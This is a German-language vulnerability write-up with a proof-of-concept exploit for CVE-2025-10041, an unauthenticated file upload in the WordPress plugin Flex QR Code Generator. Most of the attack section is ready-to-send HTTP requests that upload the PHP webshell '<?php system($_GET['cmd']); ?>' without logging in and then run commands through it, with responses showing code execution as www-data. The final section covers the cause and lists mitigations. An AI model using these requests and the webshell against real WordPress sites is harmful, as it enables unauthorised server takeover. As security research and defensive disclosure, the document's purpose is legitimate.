
Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-10041, ein nicht authentifizierter beliebiger Datei-Upload, der zu Remote-Code-Ausführung im WordPress-Plugin Flex QR Code Generator führt.
Nicht autorisiertes Abrufen der ID → Aufruf der Update-Schnittstelle zum Hochladen einer PHP-Datei → Zugriff auf Webshell → RCE
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
per_page=50&page=1
In der Antwort kann eine gültige id (z. B. 9) und der logo_url-Pfad abgerufen werden.
{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}], "totalItems": "9"
}
}
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
✅ Die Antwort success: true zeigt an, dass der Upload erfolgreich war.
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
Dateipfadformat: {original_name}_{id}.php
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
Der Server gibt den Dateiinhalt zurück
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
Nicht autorisierter Zugriff auf die Schnittstelle zum Hochladen einer schädlichen Datei → Zugriff auf Webshell → RCE
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"
flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
In der Antwort kann eine gültige id (z. B. 10) und das success-Ergebnis abgerufen werden
{
"success": true,
"data": {
"message": "QR code saved successfully.",
"id": 10,
"finalUrl": ""
}
}
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
✅ Der Server gibt das Ergebnis der Befehlsausführung zurück, RCE war erfolgreich.
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54
uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)
flex-qr-code-generator/qr-code-generator.phpsave_qr_code_to_db() und update_qr_code()$_FILES['logo']['error'] === UPLOAD_ERR_OK geprüft{original_name}_{id}.ext, id ist ein auto-increment PrimärschlüsselÜber wp_ajax_nopriv_-Hooks registriert, kann die Schnittstelle von nicht angemeldeten Benutzern aufgerufen werden:
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
noprivbedeutet „keine Berechtigungsanforderung“, Angreifer können sie ohne Anmeldung aufrufen.
| Maßnahme | Beschreibung |
|---|---|
| ✅ Zugriffskontrolle | nopriv-Hooks entfernen, nur Administratoren erlauben |
| ✅ Dateityp-Validierung | Whitelist zur Begrenzung der Erweiterungen (z. B. jpg/png/gif) |
| ✅ PHP-Ausführung verbieten | PHP-Ausführung in uploads/.htaccess verbieten |
| ✅ Datei umbenennen | Zufällige Dateinamen verwenden, um Raten zu vermeiden |
| ✅ Plugin aktualisieren | Offizielle Updates verfolgen und zeitnah aktualisieren |
Dieser Artikel dient ausschließlich der Sicherheitsforschung und zu Lehrzwecken. Nicht autorisierte Penetrationstests oder Angriffsaktionen sind untersagt. Benutzer müssen die einschlägigen Gesetze und Vorschriften einhalten.